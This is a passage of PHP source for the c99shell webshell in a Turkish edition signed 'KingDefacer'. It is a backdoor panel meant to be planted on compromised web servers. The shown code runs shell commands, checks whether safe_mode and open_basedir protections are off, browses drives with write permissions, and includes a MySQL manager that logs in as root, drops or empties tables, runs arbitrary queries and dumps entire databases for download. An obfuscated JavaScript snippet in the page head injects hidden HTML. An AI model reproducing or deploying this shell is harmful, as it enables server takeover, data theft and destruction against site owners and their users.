@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 {
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
 }
}
function ashshexit()
{
 onphpshutdown();
 exit;
}
header("Zamani: Mon, 12 May 2005 03:00:00 GMT");
header("Son Modifiye: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pratik: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "<font color=red>ACiK (Guvenlikli) :( </font>";
}
else {$safemode = false; $hsafemode = "<font color=green>Kapali (guvenlik yok)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = false; $hopenbasedir = "<font color=green>Kapali (guvenlik yok)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
<title><?php echo getenv("HTTP_HOST"); ?> c99shell - Edited By KingDefacer</title>
<script type="text/javascript" language="javascript">
<!--
ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
OT="";
for(j=0;j<MI.length;j++){
OT+=ML.charAt(MI.charCodeAt(j)-48);
}document.write(OT);
// --></script>
<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99shell Edited By KingDefacer</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Server Yazilim:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>Uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Guvenlik Modu:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left">
<?php
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = true;
 $wdt = "<font color=green> [ ok ] </font>";
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = false;
 $wdt = "<font color=red> [ Sadece Read ] </font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === false) {$free = 0;}
 if ($total === false) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Toplam ".view_size($total)." kapasite, ve ".view_size($free)." Bo$. Ortalama(".$free_percent."%) </b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".($isdiskette?" onclick=\"return confirm(\'Disketin Takili oldugundan Emin ol!\')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=green>".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Bulunan Suruculer</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#FF0000 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Dikkat! SQL-Manager i  Hazirda  <u>DEGiL</u>. </h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = false;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "Baglanilamadi";}
  else {echo "<center><b>Baglanilamadi</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> </font></center><li>Eger sifre gecersizse ,admin olan sifredir .<li>Eger host, gecersizse, host, localhosttur</b><li>Eger port gecersizse normal port "3306"</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Lutfen formu doldur:</b><table><tr><td><b>Username(K.Adi)</b></td><td><b>Password(Sifre)</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "Databasede tablo bulunamadi!";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Lutfen Database secin<hr size="1" noshade><input type="submit" value="Go"></form><?php
  }
  //End left panel
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  //Start center panel
  $diplay = true;
  if ($sql_db)
  {
   if (!is_numeric($c)) {$c = 0;}
   if ($c == 0) {$c = "no";}
   echo "<hr size=\"1\" noshade><center><b>Bu Databasede ".$c." table(s) Tablo var! (".htmlspecialchars($sql_db).").<br>";
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
   echo "</b></center>";
   $acts = array("","dump");
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";}
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
   elseif ($sql_tbl_act == "insert")
   {
    if ($sql_tbl_insert_radio == 1)
    {
     $keys = "";
     $akeys = array_keys($sql_tbl_insert);
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
     $values = "";
     $i = 0;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "\'".addslashes($v)."\'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
    elseif ($sql_tbl_insert_radio == 2)
    {
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
     $result = mysql_query($sql_query) or print(mysql_smarterror());
     $result = mysql_fetch_array($result, MYSQL_ASSOC);
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
   }
   if ($sql_act == "query")
   {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden istionmu Kardes:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Evet\">&nbsp;<input type=\"submit\" value=\"Hayir\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts))
   {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Yeni Tablo olustur:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
    if ($sql_act == "newtbl")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo " \"".htmlspecialchars($sql_newdb)."\" Yeni database olusturuldu!</b><br>";
    }
    else {echo "Database Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
   }
   elseif ($sql_act == "dump")
   {
    if (empty($submit))
    {
     $diplay = false;
     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
     $v = join (";",$dmptbls);
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
     if ($dump_file) {$tmp = $dump_file;}
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
     echo "</form>";
    }
    else
    {
     $diplay = true;
     $set = array();
     $set["sock"] = $sql_sock;
     $set["db"] = $sql_db;
     $dump_out = "download";
     $set["print"] = 0;
     $set["nl2br"] = 0;
     $set[""] = 0;
     $set["file"] = $dump_file;
     $set["add_drop"] = true;
     $set["onlytabs"] = array();
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
     $ret = mysql_dump($set);
     if ($sql_dump_download)
     {
      @ob_clean();
      header("Content-type: application/octet-stream");
      header("Content-length: ".strlen($ret));
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
      echo $ret;
      exit;
     }
     elseif ($sql_dump_savetofile)
     {
      $fp = fopen($sql_dump_file,"w");
      if (!$fp) {echo "<b>Dump hatasi OLusturulamadi \"".htmlspecialchars($sql_dump_file)."\"!";}
      else
      {
       fwrite($fp,$ret);
       fclose($fp);
       echo "<b>Dumped(Dokuldu)! Dump Yazildi \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
      }
     }
     else {echo "<b>Dump: hicbirsey yapilamadi!</b>";}
    }
   }
   if ($diplay)
   {
    if (!empty($sql_tbl))
    {
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
     $count_row = mysql_fetch_array($count);
     mysql_free_result($count);
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
     $tbl_struct_fields = array();
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
     $perpage = $sql_tbl_le - $sql_tbl_ls;
     if (!is_numeric($perpage)) {$perpage = 10;}
     $numpages = $count_row[0]/$perpage;
     $e = explode(" ",$sql_order);
     if (count($e) == 2)
     {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
     }
     else {$v = "";}
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
     $result = mysql_query($query) or print(mysql_smarterror());
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     if ($sql_tbl_act == "structure") {echo "<br><br><b>spyhackerz.com </b>";}
     if ($sql_tbl_act == "insert")
     {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio))
      {

      }
      else
      {
       echo "<br><br><b>Row u tabloya sok :</b><br>";
       if (!empty($sql_tbl_insert_q))
       {
        $sql_query = "SELECT * FROM `".$sql_tbl."`";
        $sql_query .= " WHERE".$sql_tbl_insert_q;
        $sql_query .= " LIMIT 1;";
        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
        $values = mysql_fetch_assoc($result);
        mysql_free_result($result);
       }
       else {$values = array();}
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Alan</b></td><td><b>Tip</b></td><td><b>Fonksiyon</b></td><td><b>Value</b></td></tr>";
       foreach ($tbl_struct_fields as $field)
       {
        $name = $field["Alan"];
        if (empty($sql_tbl_insert_q)) {$v = "";}
